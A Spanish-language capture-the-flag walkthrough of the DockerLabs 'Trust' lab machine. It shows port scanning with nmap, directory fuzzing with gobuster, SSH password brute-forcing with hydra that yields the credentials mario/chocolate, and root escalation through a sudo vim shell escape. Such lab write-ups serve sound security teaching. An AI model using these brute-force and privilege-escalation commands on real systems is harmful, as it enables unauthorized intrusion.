Trust DockerLabs (Very Easy)

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip trust.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_deploy.sh trust.tar

Info:

                            ##        .         
                      ## ## ##       ==         
                   ## ## ## ##      ===         
               /""""""""""""""""\___/ ===       
          ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
               \______ o          __/           
                 \    \        __/            
                  \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
                                     

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-03 12:31 EST
Nmap scan report for 172.18.0.2
Host is up (0.000028s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 19:a1:1a:42:fa:3a:9d:9a:0f:ea:91:7f:7e:db:a3:c7 (ECDSA)
|_  256 a6:fd:cf:45:a6:95:05:2c:58:10:73:8d:39:57:2b:ff (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds

Si entramos en la pagina veremos una pagina normal y corriente de apache2, por lo que vamos a fuzzear un poco mas a ver que podemos encontrar.

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.18.0.2/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.php        (Status: 403) [Size: 275]
/.htpasswd.html       (Status: 403) [Size: 275]
/.htpasswd.txt        (Status: 403) [Size: 275]
/.htpasswd            (Status: 403) [Size: 275]
/.htaccess.txt        (Status: 403) [Size: 275]
/.htaccess.php        (Status: 403) [Size: 275]
/.htaccess.html       (Status: 403) [Size: 275]
/.htaccess            (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 10701]
/secret.php           (Status: 200) [Size: 927]
/server-status        (Status: 403) [Size: 275]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================

Vemos que tenemos un secret.php, por lo que vamos a ver que encontramos dentro.

URL = http://<IP>/secret.php

Vemos que pone lo siguiente:

Hola Mario,
Esta web no se puede hackear.

Por lo que vemos nos da una pista de un usuario, por lo que haremos lo siguiente:

Escalate user mario

Hydra

hydra -l mario -P <WORDLIST> ssh://<IP> -t 64

Info:

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-03 12:40:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.18.0.2:22/
[22][ssh] host: 172.18.0.2   login: mario   password: chocolate
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 22 final worker threads did not complete until end.
[ERROR] 22 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-03 12:40:56

Por lo que vemos encontramos unas credenciales, por lo que nos conectaremos por ssh.

SSH

ssh mario@<IP>

Metemos como contraseña chocolate y veremos que estamos dentro.

Escalate Privileges

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for mario on 8d15845307a5:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mario may run the following commands on 8d15845307a5:
    (ALL) /usr/bin/vim

Vemos que podemos ejecutar el binario vim como el usuario root por lo que haremos lo siguiente:

sudo vim -c ':!/bin/bash'

Info:

root@8d15845307a5:/home/mario# whoami
root

Y con esto ya seremos root por lo que habremos terminado la maquina.